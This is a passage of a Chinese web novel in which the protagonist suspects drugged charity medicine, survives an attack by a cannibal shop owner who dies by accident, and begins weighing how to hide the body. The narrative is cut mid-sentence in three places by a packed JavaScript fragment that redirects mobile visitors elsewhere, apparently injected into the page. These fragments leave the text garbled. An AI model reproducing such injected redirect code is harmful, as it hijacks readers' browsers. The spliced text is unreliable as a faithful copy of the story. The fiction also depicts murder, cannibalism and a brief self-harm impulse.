诊所的医生本来在药柜后给下一个患者配药,各种抗生素和猛药跟不要钱一样哗哗放。下药下到一半儿,光线突然没了,无语地白了卫极画一眼,“你挡着我光了。都说了你没事,健康得很,你不是说在家吃了抗污染药吗?赶紧走。别跟阴湿男鬼一样站在门口挡我生意。” “医生,那药是我邻居给我的,我一吃那个药就晕了,里面肯定放了东西。”卫极画不好意思地拨开人群挤到医生面前,把自己手里的血液检测报告塞给医生,赔着笑小声恳求,“您再给我仔细看看行不行?” 医生被他弄得不耐烦,展开报告敷衍性看了两眼,“没什么问题,你吃的那个牌子的抗污染药物和感冒药是季氏财团旗下子公司生产的,他们做慈善,在我们旧城区免费发放药物。就没见过谁吃出了问题。” 卫极画皱眉,“季氏?” “对啊,”一位野鸳吐出一个烟圈,画着艳俗妆容的脸上竟然有些发自内心的尊敬,接话道,“季氏财团可是干实事的良心企业,他们会免费给我们发放药物和医疗用品,刚才给你用的血液检测仪和整个南刻市的医疗仪器都是他们捐赠的。” “对呀对呀,我们工作时染了病,谁都嫌弃我们,季氏财团居然还给我们提供治疗,在旧城区所有诊所都提前付了钱,让我们免费看病呢。就是那个…叫什么——医疗保障慈善计划!” “就是就是!他们还很关注民生,提供了很多就业岗位,整个南刻市谁不承季氏财团的情?” 坐在诊所里的野鸳叽叽喳喳打开了话匣子,连部分帮派成员也面带认同。 卫极画的心却彻底沉了下去。 在听到医生说他吃过的抗污染药和感冒药是季氏财团免费发放的,他就知道事情大发了。 别人不知道季氏财团是什么货色,他还能不知道吗? 季氏财团唯利是图,面上光明正大,实际上什么黑的灰的白的都沾。这些在卫极画的设定集里写得清清楚楚。 和季氏财团比起来,作为全书最邪恶/犯/罪/组织的剧团都能称得上是有底线,至少剧团不会搞/人/口/贩/卖和成/瘾/性/药物。 那么问题来了,唯利是图的季氏财团为什么会成立“医疗保障慈善计划” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936765|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给整个南刻市提供各种医疗仪器,并且还在旧城区免费发放药物,让这里没有工作的无业游民看病不收钱呢? 各种已知信息在心中盘旋,卫极画的记忆中忽然飞掠回从执法局审讯室出来时,与秦惊浪在执法局门口的对话。 秦惊浪说,他发现云海会所私底下贩卖违禁成/瘾/性/药物,还用药物控制在那里工作的陪侍人员。 可他将此事告知执法局的其他警察,借着机会进入云海,却什么都没找到,就连陪侍人员的体内也检测不出药物痕迹。 当时卫极画的大脑实在太疲倦,将这句话忽略了过去,只以为是季氏财团手眼通天,以权压人,才让检查的人闭了嘴。 现在一想…他在云海当男公关的时候,看到花姐和其他陪侍人员手臂上的药物注射针孔,根本不像轻易能掩藏的东西。 那些针孔和黑斑这么明显。当时去了那么多个警察,总有一个没被季氏财团封口的,怎么会查不出来呢? 卫极画后知后觉挪动视线,落在诊所深处他刚才用过的血液化验仪上。 那机器的正中央烙印着一朵蓝紫色鸢尾花徽记。 ——那是季氏财团的象征。 …怪不得、怪不得检测不出来问题。 因为南刻市所有的医疗检测仪器都是季氏财团动过手脚才捐赠的! 所以哪怕云海会所陪侍人员手臂上的针孔和黑斑那样明显也检查不出来! 或者,那些成瘾/性/药物本就是特殊的毒/品,普通的机器检查不出来。 至于季氏财团专门在旧城区发放抗污染药和常用药物,成立“医疗保障慈善计划”,让旧城区的无业游民免费看病,大概也是在暗中试验某种效果未知的药物,同时观察药物效果。 还有件事。 “主角”在灰雨公寓杀了季景那个名义上的季氏财团继承人,季氏财团的律师都没有找上门。云海会所一出事,听说卫极画被抓到审讯室的消息,季氏财团的律师立刻就来保释卫极画了,还要把无主的云海会所交给卫极画来继承…… 会不会,“云海”会所也是季氏财团用于流通药物的途径之一呢? 卫极画呆若木鸡地摸了摸左耳上从云海会所带出来的蓝紫色鸢尾花宝石耳挂,感觉眼前一片发昏,几乎快站不稳一头栽地上,重咬舌尖才在痛觉中勉强维持理智。 他原本以为只是巧合,原来,真的都和季氏财团有关。 完了……那怎么办……他、他吃了季氏财团在旧城区发放的那些抗污染药啊…… 那些药还不知道有什么作用。是毒/品?还是其他伤害身体的东西? 按照季氏财团连警方都能偷偷下黑手的权势,卫极画很肯定,自己无论去南刻市的哪个医院,检查结果都一定是他很健康,没有任何问题。 如果去南刻市以外做检查,季氏财团大概率会发现他知道了这件事,绝对不会让他安稳离开。 假如他胆子更大点,鱼死网破,想办法把这件事闹到网上,按照季氏财团的威势,新闻绝对会被摁下来。 这件事绝对比娱乐圈的明星发生丑闻后撤热搜还轻易,无非就是给钱封口和一句话的功夫。在新闻发出的最初,对季氏财团一切不利的信息就会被截断。 就算新闻不被摁下来,配合季氏财团表面上的慈善企业皮囊和自以为得利者的拥护,也不会有人相信卫极画的说辞。季氏财团大可以说是竞争对手恶意传播谣言中伤他们。 医院不管用、执法局不管用、逃也不行。 怎么办?怎么办?现在还有什么方式解决体内那些效果未知的药物? 卫极画心生一种无从下手的惶恐,如同坠入深渊一般绝望无措。 作为一个从小到大都遵纪守法的普通人,毒/品的危害性是刻在他骨子里的,一旦沾上,整个人就毁了。何谈这种检查不出成分和效果未知的东西? 除了盲目等待,将一切都寄托于命运,祈祷他吃的药没有太大危害之外,还能有什么办法? 他怎么和季氏财团这种庞然大物斗? 恐惧惯彻思维,压力之下,卫极画脑子里忽然冒出一个他自己都觉得危险的答案。 ——剧团 15.窥视 季氏财团的阴影如同深海巨兽,个人的力量在其面前,无异于螳臂挡车。所有路径都被厚重的冰层封死。 想要撬开一线生机,或许只能借助另一股同样庞大,却性质迥异的力量。 剧团无疑是最恰当的选择。 “剧团”这个名词浮现在脑海中时,卫极画的理智传来一阵细微冰冷的颤栗。 他知道自己的想法很危险,这个想法本身也毫不掩饰恶意,散发着浓郁的恐怖气息。 毕竟,他先前刚从剧团的驯兽师手上逃生,还狐假虎威用驯兽师的身份胸针去“云海”捞人。 ……来到这个世界后,层层叠叠的压力太多了,为了保住自己的命,卫极画总是忍不住多想。 “驯兽师”只是剧团内一个精神正常的职业杀手,最多性格恶劣一点。恐怖的是剧团的其他成员。 卫极画无法探知驯兽师的态度,也不知道驯兽师是否将他的异常上报。 他如今的处境无异于在剧团的眼皮子底下披着一层名为“高智商罪犯”的脆弱伪装苟延残喘。能活多久,完全取决于这层伪装何时被剧团洞察揭穿。 但卫极画真的走投无路了。 他真的不敢赌那些药物是不是毒/品。 一想到自己在不知情的情况下吃了季氏财团的药,一股难以言喻的生理性厌恶便席卷卫极画全身,他感觉浑身都像有蚂蚁在爬,钻进皮肤底下,钻进血管里。 这不是痛不痛的问题,是一种深邃顽固的侵蚀感。 多恐怖啊,卫极画想。但这种药物现在说不定就在他的血管中流淌,随着每一次心跳泵出的血液悄无声息地游走在他的四肢百骸。 他在恐惧之下生出一种荒谬而暴烈的冲动——是否要割开腕脉,让混杂着药物成分的血液流尽,才能摆脱这种被异物寄生的错觉? 怕死是人类的本能。但卫极画现在恐惧的并非是死亡本身,而是在清醒中目睹自我意识被一寸寸剥夺沉沦。 于是他便像被拧紧了身上的发条,被促使着想方设法地快些动起来,不择手段地快些解决这件事。 从剧团的方向来寻找解决这件事的办法,无异于是与虎谋皮。 但是、但是…… 卫极画闭上眼,抽身于外,冷静地将两个选项放在了内心的天平上。 一端,是季氏财团。 权力压碾,手段阴柔,如同缓缓收紧的蛛网,用药物、资本与规则编织成无处可逃脱的牢笼。 另一端,是剧团。 混乱无序,危险直白,如同遵循着某种原始丛林法则的掠食者。 那些剧团中的罪犯行动莫测,却也因为这份“莫测”而留下缝隙。更重要的是,剧团明晃晃的划出了两条底线——不涉足人口贩卖、不触碰成瘾性药物。 在南刻市这片道德早已模糊的灰色地带,这两条底线竟成了扭曲的选择理由。 季氏财团,剧团。天平两端,危险与危险,亦有不同。 前者是慢性隐秘的侵蚀,后者是及时可见的博弈。利用剧团解决身上的药物,可能瞬间粉身碎骨,但也可能在电光火石间于绝壁上凿出一线攀缘的缝隙。 我先前不是做的很好吗?卫极画想。 扮演,然后保持从容,动用全部的理智去观察、去分析,动用自己脑海中的信息,压榨出动力,从绝境中找出生机,去刀尖上起舞,去下一场生还率渺茫的棋。 迄今为止,他都做得很好。 那么,他一个普通人要如何才能和剧团搭上关系,还要让剧团愿意帮他解决体内的药物呢? 一个答案悄然浮现。 ——云海会所。 在卫极画的小说大纲中,云海会所的违禁药物是“主角”的第一次剧团任务。 这个任务原先是剧团/派给驯兽师的,是驯兽师刻意刁难“主角”,才将这个任务交给了“主角”完成。 现在,卫极画顶替了“主角”,造成了一种剧情缺位。所以,剧团一定会派其他人员处理云海会所的任务。 这就是卫极画的机会。 既然季氏财团想要将云海会所这个烫手山芋交到他手上,他何不主动迎上去?让剧团来主动接触他? 至于先前,卫极画拒绝了季氏财团的律师,拒不接受灰雨公寓和云海会所的选择……并不是问题。 卫极画心知肚明,季氏财团在没有达成目的之前,绝对不会放过他。 现在要做的是…等待。 装作他什么都不在乎,装作只想逃离季氏财团的控制,然后……等待季氏财团用尽手段,逼迫他“不得不接受”云海会所。 卫极画面无表情将手中显示一切正常的血液检测报告撕碎销毁,悄无声息离开了乌烟瘴气的诊所。 人流攒动的红灯区是没有昼夜之分的,此时雨停了,更是迎来了一天当中最喧闹的时刻。 迷蒙的霓虹灯牌将湿漉漉的街道切割成一块块流淌着不同颜色的光斑,音乐从不同的门洞中泻出,衣着暴露的男男女女倚靠在店铺和街道旁,麻木或热切地扫描着过往行人。 眼神锐利的帮/派/成员三三两两地聚在巷口阴影里,低声交谈,烟雾缭绕。穿着花衬衫的混混拎着酒瓶四处游荡。还有放纵一夜的上班族,扯着皱巴巴的西装浑身酒气地赶公交回公司上班。 一切都浸泡在一种虚假的繁荣和真实的疲惫之中。 卫极画像一滴水汇入混浊河流,随着出门时的记忆,穿行在人潮之中,往“家”所在的弄浣巷走。 临近弄浣巷所在的生活区域,周边的人流减少,零星有几家还开着门的早餐铺。 有家铺子最显眼,生意很好,现在才刚上午10点钟,包子都快卖完了。店主是个长相和气的中年男人,有些胖,围着洁白的围裙正坐在店里刷手机,门前的巨大蒸笼冒着热气,大概是店主很有经商头脑,刻意在蒸笼旁边架了风扇,将升腾的热气往店外吹了很远。 卫极画一向很擅长调节自己的情绪。 现在药物的作用还不明晰,想得太多,只会让压力更加紧绷,卫极画能做的只有尽量忘记这件事,照常生活。 他有些饿了,站在早餐铺前看店主刷手机没时间注意他,偷感很重地大着胆子看了半天标价。 馒头卖完了,剩下的只有包子和豆浆。 肉包子3块钱一个,素包子2块钱一个,豆浆6块钱一杯。 这么贵,怎么不去抢? 卫极画忧郁地摸了摸兜里从花姐皮夹里翻出来的几张钱。 南刻市不愧是世界上最发达的城市,物价这么贵……他手上这么点钱能经得起怎么用? 卫极画本来还觉得早餐肯定比其他的东西便宜,打算多买几个包子拿回去当一日三餐吃,结果包子都这么贵。 他打消了买肉包子的想法,走进已经没几个客人的店内,“老板,两个素包子。” “素包?”胖老板闻言从手机中抬起头,露出亲切的笑容,“只要两个素包吗?我家的特色酱肉包很好吃的,今天运气好还有几个,前些天这时候早就卖完了。” 卫极画窘迫,“我比较喜欢素的。” “行,”胖老板麻利的用塑料袋装上两个素包递给他,还不忘放过做生意的机会,热情到,“那豆浆呢?要吗?现磨的!” 老板指了指旁边那锅在早秋寒风中热气腾腾的豆浆。 闻起来是很醇厚,加了糖肯定很好喝。 卫极画望着老板指向的豆浆纠结了一会,最终还是放弃,“有免费的热水吗?” 老板:…… “没有,买的话2块钱一杯。”老板语气生硬,显然把卫极画当成来找茬的。 卫极画尴尬,“谢谢,打扰了。” 可恶!竟然连热水都要钱! 卫极画很穷。连证件都没有,不好找工作,只能坐吃山空,能省则省。 真是落魄了。 要是他还在现实,每顿饭起码也得三荤一素。 肉要吃牛羊肉,猪肉不吃腻的,鱼只吃没刺的,青菜要有机的,水果要空运的,点外卖懒得领优惠券,各种营养补剂当零食吃。 几百块钱一克的药材更是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946451|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扔破壁机里日的一声打糊糊,每天早上对着镜子跪下来哄自己当粥喝,喝完还要奖励自己买个新游戏玩一上午。 总之,卫极画手头有点儿钱几乎全花自己身上了,生怕亏待了自己。 回忆前半生,其中的麻辣鲜香和清甜滋补只有卫极画才知道。以至于天天熬夜都没猝死,再怎么折腾都光鲜亮丽得能随时去走红毯。 也就是沦落到这个杀人犯遍地走的鬼世界,没来得及站稳脚跟,才混成这副样子。 卫极画一边安慰自己暂时将就一下,一边拎着两个素包子往家里走,打算今天分三顿吃。 他拐进一条相对僻静的窄巷,红灯区的嘈杂声变得模糊,取而代之的是污水沟和食物、垃圾发酵而散发的腐败酸臭。 这是回“主角”家的近路,光线黯淡,只有从主街漏进来的些微霓虹,勉强勾勒出堆积的杂物和斑驳墙面的轮廓。 就在卫极画即将走出巷口时,一点细微的动静吸引了他的注意。 墙角一堆废弃的纸箱旁,缩着一团小小的黑影。 卫极画停下脚步,戒备地看过去,那团黑影动了动,发出一声微弱到几乎被向外噪音吞没的“喵”。 是一只猫。一只很小的、骨瘦嶙峋的狸花猫。 它蜷缩在潮湿肮脏的地面上,左腿以一个不自然的角度弯曲着,显然受了伤,伤口已经化脓溃烂了,腹腔则不知被什么撕开,开膛破肚,露出暗红的内脏,肮脏的皮毛上粘着巷内垃圾的污水,两只苍蝇在上方盘旋。 ——活不了多久了。 小猫又“喵喵”叫了一声,声音好像因为干涩有些嘶哑,在黑暗中眼睛一眨不眨地望着在原地停留的卫极画。 卫极画与它对望,什么也没做,站在那里看着它,小猫也看着卫极画,没有再叫,只是腹部随着微弱的呼吸微微起伏。 几秒钟后,卫极画挪开视线,脸上没有任何表情。假装自己什么都没看见,继续迈步走出了巷子。 小猫缩在阴影中舔了舔受伤的爪子,抬头,就见卫极画居然又掉头回来了。 “我真是个烂泥扶不上墙的烂好人。”卫极画低骂了自己一句,转身回到方才的早餐店。 “老板,买杯热水。” 老板这时候本来已经准备给早餐店关门了,东西都收拾了一大半,见到卫极画回来,脸色彻底黑了。 卫极画觉得很大可能是因为自己给老板留下了不好的印象,现在又专门在人家收摊的时候来,显得像专门来找茬的。 但做生意的,有钱也不可能不赚。 “热水是吧?好。”老板强撑着笑容,背过身,从饮水机里接了一杯热水。 卫极画付了钱,回到小巷。 小巷里的小猫还在原地,疑惑地歪着脑袋看卫极画,好像也觉得他是个很奇怪的人。 卫极画蹲下身,将热水揭开,倒在杯盖里吹凉,确认温度适宜,放到小猫面前。 “喝吧,不是渴了吗?”他说。 小猫喵了一声,试探性探出脑袋,发现卫极画没有阻止自己,便伸出舌尖大口大口喝水。 卫极画低垂着眼眸,静静看着小猫喝水,也不摸。只是心中层层快要将他溺毙的压力好像在此时被松缓了些。 他伸手掏提着的塑料袋,正欲拿出自己打算当一日三餐的包子,好把没有盐分的外层部分掰一块下来给小猫,抬起头的瞬间,原本正在喝水的小猫却忽然不动了,连最后的叫声都没发出来就静悄悄的倒在地上。 “那杯水里,我加了药。” 一道黑影从卫极画后方慢慢蔓延,在他身后站定,声音阴沉,“明明自己喝了多好…少费我些力气,可你竟然拿来喂猫。” 卫极画脸上的表情僵硬。 方才早餐店的胖老板,正提着一把剔骨刀,幽幽站在他身后。 “喂,小子,你专门买素包,是早就发现我卖的是人肉包子?” 卫极画迟缓地转动眼珠。 通过墙角垃圾堆里一片破碎的玻璃,他看到,身后的胖老板朝他露出了一个狰狞的笑容…… 16.巧合 卫极画真的不知道胖老板卖的是人肉包子。 他买素包子只是因为穷,想省点钱。 谁知道会恰好触碰到胖老板杀人后纤弱的神经啊? 纯粹是胖老板自己做贼心虚,以为卫极画发现了他的罪行,还故意用“买热水”的方式挑衅。 哈、哈、哈……好好笑,阿南刻倒霉熊又开播了。 冰冷的刀锋还未贴上皮肤,那股铁锈与油脂混合的气味已先一步钻进鼻腔。 卫极画脊背绷紧,每寸皮肤都在尖叫着危险,心脏像被只无形的手攥住重击,在胸膛中骤然无声闷响。 他吓得快傻了,脸上却像被冻住一般,没有任何表情。 电影中总是会有主角面对危险时被吓得浑身僵硬无法行动的场景。观众看多了,往往会觉得主角没用,恨铁不成钢,想自己进入电影里代替主角快跑。 但人在极度恐惧的时候是动不了的。 ——源自远古最底层的生物本能。 原始的人类独自面对野兽时,会如何呢? 人的双腿能够逃得过野兽吗? 当然不行,愚不可及,逃走就是漏怯,让它知道你的弱小,你只有被撕碎这一个下场。 要正视它,凝视它,让它踌躇不前,让它——恐惧你! 昏暗无人的小巷中散发着垃圾腐败发酵的酸臭,冰冷的剔骨刀似原始野兽的尖牙般磅礴致命。 霓虹阴影,恐惧如同深海暗流,在卫极画冷静的表象下涌动。 不能动,不能表现出普通人的惊慌失措。对方是杀人犯,精神不稳定,此时,转身和后退,都有可能触发胖老板挥刀的条件反射。 卫极画清晰感受到自己指尖的麻痹感,听到血液在肾上腺素刺激下的轰鸣奔涌。 “人肉……?” 他在胖老板恶意的目光下轻轻重复这个词,声音出乎意料的平稳,带着奇特探究般的语调。 明明刀就贴在卫极画背后,他的目光依然落在那只再无声息的小猫身上,看着它小小的躯体最后一丝温热在肮脏的地面散去。 卫极画不喜欢猫,也不喜欢狗。他讨厌一切会带来麻烦的东西。 他垂眸,将专门买来的热水从小猫面前端起,倒在了旁边的地上,连着专门从自己“午餐”上掰下来撕成小块的包子一起扔掉。 大脑在极致的惊恐中,剥离出了近乎于残酷的清晰。 没有尖叫,没有求饶,没有愤怒,没有崩溃。 卫极画缓缓的、极其缓慢地站起身,动作从容优雅,仿佛背后抵着的不是剔骨刀,而是一根无关紧要的木棍。 他转过身,面对胖老板那张在此刻显得有些扭曲和森然的脸。 霓红的残光从巷口斜泄进来,将胖老板半张脸映得油亮,另外半张则沉浸在浓稠的黑暗里。老板手中剔骨刀的刀刃有些卷,沾着难以洗净的暗色污渍。 卫极画的视线先落在刀上停留了足足两秒,然后才缓缓上移,对上胖老板阴鸷的眼睛,眼神里只有近乎于空洞的平静。 如何形容呢?就像成年人面对孩童的游戏一样,感到……无趣? “你做的东西太恶心了。”他说。 声音不高,却清晰地在寂静的巷子里回荡。 卫极画的反应完全出乎胖老板的意料,胖老板脸上的肌肉抽动了一下,握刀的手更紧了,指节发白。 “别紧张,我对您的生意没有兴趣。”卫极画轻笑,目光深不见底,“只是,您处理尸体的方式太低劣,稍微有些…不懂规矩了。” 卫极画的话像冰冷的丝线,一点点缠绕上胖老板的神经。 他塑造自己的形象,假装自己是一个久居于旧城区的“同类”。让胖老板以为旧城区的罪犯是成体系有组织的,从而心生顾忌。 胖老板果然被唬住了,“你……你说的是什么规矩?” 什么规矩? 卫极画哪知道有什么规矩,规矩是他随口乱编的。要问他有什么规矩,他只能和胖老板科普食品安全规矩。 拿人肉当猪肉卖,以次充好,欺骗消费者,你犯法了知道吗?! 而且人肉包子是无本的买卖,在这种地段不好的犄角旮旯,竟然敢卖3块钱一个! 到底还有没有王法?天理何在? 卫极画轻撇一眼抵着自己的刀尖,向前迈步,拉近了彼此的距离,这个动作让胖老板下意识把刀往前送了送,刀尖几乎触到卫极画的衣襟。 “吓到了?”卫极画嗤笑,“成事不足败事有余的废物,你要是有胆子捅下来,我还能高看你一眼。” 他的口吻刻意轻蔑,令胖老板额角渗出细密汗珠,堆叠在脸上颤抖的横肉间隙,心中生出不确定的忌惮。 胖老板原本的计划是干净利落的处理掉卫极画这个可能察觉到他秘密的麻烦,可现在,他发现卫极画这个麻烦似乎深不可测。 杀?还是不杀? 杀了会不会引来更大的麻烦? 胖老板的杀意在理智的权衡中摇摆、稀释。 卫极画捕捉到了那瞬间的犹豫,深知不能逼得太紧,要给胖老板一个台阶和暂时放过自己的理由。 “在旧城区,有很多像你这样的人,闹出事来会被牵连。”卫极画语气放缓,用指尖随手拨开那把抵着自己的刀,居高临下轻慢道,“收敛着点,惹来警察,大家都不好过。” 胖老板死死盯着卫极画,眼神剧烈闪烁,凶光犹在,刀尖却微微向后缩了半分。 在心理学当中,这是代表“迟疑”的潜在动作。 卫极画看到胖老板握着刀的手不断收紧,那张胖脸上的狰狞与挣扎逐渐被一种退却的阴沉取代。 对于他的说辞,胖老板可能信了,可能没全信,但至少,胖老板不想冒险了。 卫极画心中紧绷到极致的弦丝稍松。 好……接下来,想办法离开……保持住、保持住,不要被看出破绽。 卫极画微微颌首,维持冷静,做出一个准备侧身离开的姿态,动作依旧不疾不徐,将背后空门暴露给对方。 这是一场豪赌,赌对方的忌惮是否足以压制杀意。 就在他的身体即将完全转过,视线即将脱离胖老板的刹那—— “嗬……啊啊啊!!!” 一声野兽般混杂着恐惧、狂怒和豁出一切的嘶吼猛地炸响! 胖老板眼中的犹豫瞬间被疯狂的血丝吞没! 也许是想起了必须灭口的初衷,也许是卫极画过于完美的表演反而激发了最后的不安与凶险,也许仅仅只是长期杀戮积累的暴戾在临界点失控—— 胖老板双目变得赤红,毫无征兆地用尽全身力气,双手握刀,朝着卫极画脖颈侧方!横劈而来! 刀锋破开凝滞的空气,发出骇人的尖啸! 一切发生太快,距离太近! 卫极画瞳孔骤缩,刚才松懈的神经再次鸣裂!极致的死亡阴影将他彻底笼罩! 他根本来不及思考,完全是求生的本能和预设的警惕共同作用——上半身猛地向后仰倒,同时抬腿,朝着胖老板毫无防护的胫骨前端,狠狠踹去! “砰!” “咔嚓!” 沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952371|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闷的撞击声和一声轻微令人牙酸的骨裂声几乎同时响起! “啊——!”胖老板凄厉的惨叫盖过了之前的嘶吼,劈砍的动作严重变形,剔骨刀擦着卫极画的鼻尖和胸前划过,带起的冷风让卫极画皮肤泛起颤栗! 卫极画连滚带爬,因为反作用力向后踉跄,背部重重往潮湿滑腻的墙壁上撞! 但—— 他写小说的时候看多了工具书,本能回忆起《杀人术》、《徒手格斗》之类的东西。加之每次写主角打斗场景的时候都会自己对着镜子演几遍,看看人类到底能不能做到那样的动作,因此产生了肌肉记忆。 于是……卫极画在关键时刻硬生生维持住平衡,轻微侧头,游刃有余避开。 ——完美展现了一整套专门为主角精心设计出来的耍帅小连招! 天呐!他帅的要命! 这套耍帅连招,仿若印度某3a大作,绝对是宫崎英高想了一辈子都想不出来的完美闪避! 胖老板因为胫骨受创而痛苦地单膝跪地,手中的刀“哐当”一声脱手,掉在污水中。 卫极画漫不经心,看也没看一眼,潇洒地扯了扯领口,仿佛Boss战胜利结算画面。 实则他心中已经在惨叫了。 啊啊啊!可恶!不要再装了,快跑啊!耍帅为什么会有后摇!不要什么都往肌肉记忆里面刻啊啊啊! 就他在肌肉记忆的耍帅后摇这一会儿,胖老板已经抬起了头,脸上是因剧痛和狂怒而彻底扭曲的恐怖面容,充血的眼睛死死瞪着卫极画,嘴里发出嗬嗬的怪声,“…最烦你们这些长得帅的了!” 胖老板那张肥胖油腻的脸满是恨毒,竟然不顾腿伤,手脚并用地要扑过来捡起那把剔骨刀,或者是用牙齿撕咬! 啊啊啊!好丑好脏!你不要过来啊啊!! 卫极画快吓哭了。 卫极画一向很有自知之明,他精心给主角设计的动作只是看着帅而已,对体能要求非常大,打架肯定是撑不了多久的,更何况胖老板还有刀。 然而,后摇还没有结束,卫极画的喉咙莫名其妙溢出了低笑,身体在高压之下处于扮演恐怖杀手的模式退不出来。 闪身,顶膝,将胖老板摔在地上,抬腿重重踩住了胖老板的头。 胖老板说恨长得帅的,其实没说错,卫极画不但长得帅,腿还比胖老板的命都长,不怪胖老板嫉妒。 这一套连招行云流水,帅得不行。 可惜……卫极画是个废宅小说家,帅不过三秒。 踩着胖老板脑袋的时候,他没踩稳,啪叽一声摔地上了。 “唔!?” ——完了,出大丑了,太丢人了,这下装变态也不行了。 卫极画欲哭无泪。 他都佩服自己了,平地也能摔跤,爬也爬不起来。这副狼狈的模样,不管他再怎么装也没有可信度! …这次死定了。 胖老板没有给卫极画喘息的时间,五指像铁钳一样拽住卫极画手臂,摇摇晃晃站起身。 “等等!等等!”卫极画急切挣扎。 柔弱的废宅小说家卫极画烂泥扶不上墙,被胖老板的体重一拉,根本站不稳,惊恐地往后带着胖老板滑倒。 碰巧,那把掉落在污水中的剔骨刀被卫极画踢飞,在半空中抛出一个凌厉的刀花,寒光刺目,直直的对准了胖老板的心口! “——呃!” 血液缓缓从胖老板的心脏处涌出来…… “都说了让你等等!” 卫极画崩溃地从满是污水的地上爬起来,”我的衣服!” 17.开膛 可能是这个世界懒得修正不重要的东西,“主角”家里的衣服并没有像身份信息一样变成卫极画能穿的尺码。 小说前期的“主角”是一个常年营养不良的阴郁少年,对于把自己养得很好的卫极画来说,尺码有些不合适。 卫极画光是身高就有192,现在穿的衣服还是在云海会所当男公关那套。 他倒是有另一套衣服,是刚到这个世界时穿的那套,上面的血迹没机会洗,和驯兽师的狙击枪一起藏在花姐的车里了。 现在,他唯一套能穿的衣服被弄脏了。 买衣服又要增添一笔不必要的开支,本不丰厚的钱包雪上加霜。 卫极画不死心地扯着衣服检查。污水没沾上多少,大部分沾上的是血,比污水更难洗干净。 这咋办?把本就不多的吃饭钱拿去买衣服?还是把耳朵上的鸢尾花宝石耳挂卖了? 没有鉴定证书,宝石饰品这一类的东西是不是不太好卖? ……衣服上的装饰性链子好像可以拆下来,不过都是银的,卖不上钱。 早知道在云海当男公关的时候就应该挑点金饰挂身上。 不,现在不是该想这个的时候。 卫极画懊恼地站在胖老板尸体旁,看着逐渐蔓延开的血泊倒映自己的脸。心道自己真是演恐怖杀手演上瘾了,只会想些无关紧要的东西,完全忽视了法律存在。 现在最重要的是尸体怎么处理。 肾上腺素的刺激褪去,压力中的扮演模式消失,卫极画站在那滩不断扩大的暗红色液体边缘,目光有些发直,后知后觉。 是、是不是死人了啊? ……还是在他面前死的。 黏腻温热的腥气丝丝缕缕钻入鼻腔,不再是隔着纸张与屏幕的冰冷描述,而是真实浓烈、带着生命最后余温的物理存在。卫极画胃部不受控制紧缩,喉咙里泛起酸水。 这是卫极画第二次真正看到死人。 第一次在灰雨公寓,然后是云海会所的花姐。 灰雨公寓的父子俩不是卫极画杀的,他在云海会所把花姐往后备箱塞的时候,花姐也没死。 可这次…… 他杀人了。 不,严格来说是胖老板自己撞上了刀口,好像也不关他的事。 ……该怎么办?报警吗? 但周围没有监控,只有他身上有血,报警会不会被当做凶手? 旧案未清,新尸又现,地点还是监控盲区。 巧合太多,就变成了精心设计的剧本。 执法局的警察本来就因为上次的案件怀疑他,现在报警不是撞枪口上吗?卫极画想不到自己该如何撇清关系向警察解释胖老板戏剧化的死亡过程。 谁能相信胖老板会在与他推搡的过程中,不小心被掉在地上的刀飞起来捅死? 听起来太天方夜谭了,卫极画若是把这样的事实作为供词,执法局的警官们恐怕会以为他又在编故事挑衅。 不能报警,至少现在不能。 那么,只剩下一条路——独自把尸体处理掉。 这个认知让卫极画有些惶恐不知所措,随即又被一种奇异的冰冷所覆盖。还没等他思考该怎么办,他的大脑竟自动开始在恐惧的底色上调取“知识”。 《法医学图谱》、《犯罪现场重建》、《痕迹检验原理》……那些为了笔下故事更真实而啃下的枯燥文字和工具书,在此时化为冰冷的指令流,告诉他现在该做什么。 第一步…控制现场,防止证据扩散。 卫极画强迫自己冷静下来,后退两步,小心避开血泊边缘,目光迅速扫视狭窄的巷道——堆满杂物的墙角,湿滑的地面,腹腔被破开的小猫……没有明显目击者。 巷道中央,胖老板仰面倒地,双目圆睁,凝固着死前的惊愕与疯狂,那把剔骨刀深深没入左胸,刀柄在外,血液正从创口周围缓缓渗出,浸透了廉价的化纤衬衫。 看起来没什么问题,但在法医的眼中,死者的姿势以及周围的痕迹、血液的喷射状态都会说话。卫极画要做的就是“修改”或“消除”这些语言。 移尸? 不行…太冒险,卫极画只有一个人,还没有工具,难以不留痕迹地将一具成年男性的尸体运出这条随时可能有人经过的巷道。 分尸?分散抛弃? 也不行…分尸需要合适的场地、专业的工具、大量的时间和体力,卫极画一样都不具备。 卫极画思维高速运转,思考另类的方式。 胖老板是早餐店老板,有固定的生活轨迹,突然失踪会引起注意,警方一定会想办法找到凶手。 